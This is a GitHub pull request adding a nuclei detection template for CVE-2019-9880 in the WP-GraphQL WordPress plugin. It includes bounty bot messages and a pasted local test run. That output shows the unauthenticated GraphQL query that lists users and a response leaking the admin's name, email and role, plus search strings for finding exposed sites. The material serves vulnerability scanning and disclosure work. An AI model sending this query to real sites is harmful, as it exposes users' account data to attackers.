ADD CVE-2019-9880 (vKEV)#13285
Conversation
686ebda to
11f0107
Compare
|
Validated Locally LGTM ! |
|
/tip 200 |
|
Please visit Algora to complete your tip via Stripe. |
💎 $200 bounty • ProjectDiscovery Bounty Available for CVE Template ContributionSteps to Contribute:
Thank you for contributing to projectdiscovery/nuclei-templates and helping us democratize security!
You can check the FAQ for the Nuclei Templates Community Rewards Program here. |
|
/attempt #13285 |
|
🎉🎈 @intelligent-ears has been awarded $200 by ProjectDiscovery! 🎈🎊 |
Template / PR Information
Template Validation
I've validated this template locally
YES
NO
Here's the exploit I ran locally
┌──(kali㉿kali)-[~/…/nuclei-templates/http/cves/2019] └─$ nuclei -u http://localhost:8000 -t CVE-2019-9880.yaml -debug __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.4.6 projectdiscovery.io [INF] Current nuclei version: v3.4.6 (outdated) [INF] Current nuclei-templates version: v10.2.8 (latest) [WRN] Scan results upload to cloud is disabled. [INF] New templates added in latest release: 114 [INF] Templates loaded for current scan: 1 [WRN] Loading 1 unsigned templates for scan. Use with caution. [INF] Targets loaded for current scan: 1 [INF] [CVE-2019-9880] Dumped HTTP request for http://localhost:8000/?graphql POST /?graphql HTTP/1.1 Host: localhost:8000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.1 Connection: close Content-Length: 71 Content-Type: application/json Accept-Encoding: gzip {"query": "query { users { nodes { id name email username roles } } }"} [DBG] [CVE-2019-9880] Dumped HTTP response http://localhost:8000/?graphql HTTP/1.1 200 OK Connection: close Content-Length: 138 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Access-Control-Max-Age: 600 Content-Type: application/json; charset=UTF-8 Date: Tue, 16 Sep 2025 22:15:28 GMT Server: Apache/2.4.25 (Debian) X-Content-Type-Options: nosniff X-Hacker: If you're reading this, you should visit github.com/wp-graphql and contribute! X-Powered-By: PHP/7.2.18 X-Robots-Tag: noindex {"data":{"users":{"nodes":[{"id":"dXNlcjox","name":"admin","email":"intelears@gmail.com","username":"admin","roles":["administrator"]}]}}} [CVE-2019-9880:dsl-1] [http] [critical] http://localhost:8000/?graphql ["admin","intelears@gmail.com"] [INF] [CVE-2019-9880] Dumped HTTP request for http://localhost:8000/graphql POST /graphql HTTP/1.1 Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 11.0) AppleWebKit/537.36 (KHTML, like Gecko) Safari/104.0 Safari/537.36 Connection: close Content-Length: 71 Content-Type: application/json Accept-Encoding: gzip {"query": "query { users { nodes { id name email username roles } } }"} [DBG] [CVE-2019-9880] Dumped HTTP response http://localhost:8000/graphql HTTP/1.1 404 Not Found Connection: close Content-Length: 282 Content-Type: text/html; charset=iso-8859-1 Date: Tue, 16 Sep 2025 22:15:28 GMT Server: Apache/2.4.25 (Debian) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /graphql was not found on this server.</p> <hr> <address>Apache/2.4.25 (Debian) Server at localhost Port 8000</address> </body></html> [INF] Scan completed in 52.670946ms. 1 matches found.Additional Details
SetUp Details
Query details:
query { users { nodes { id name email username roles } } }body="/wp-content/plugins/wp-graphql/"http.title:"WordPress" "graphql""/wp-content/plugins/wp-graphql/"Additional References: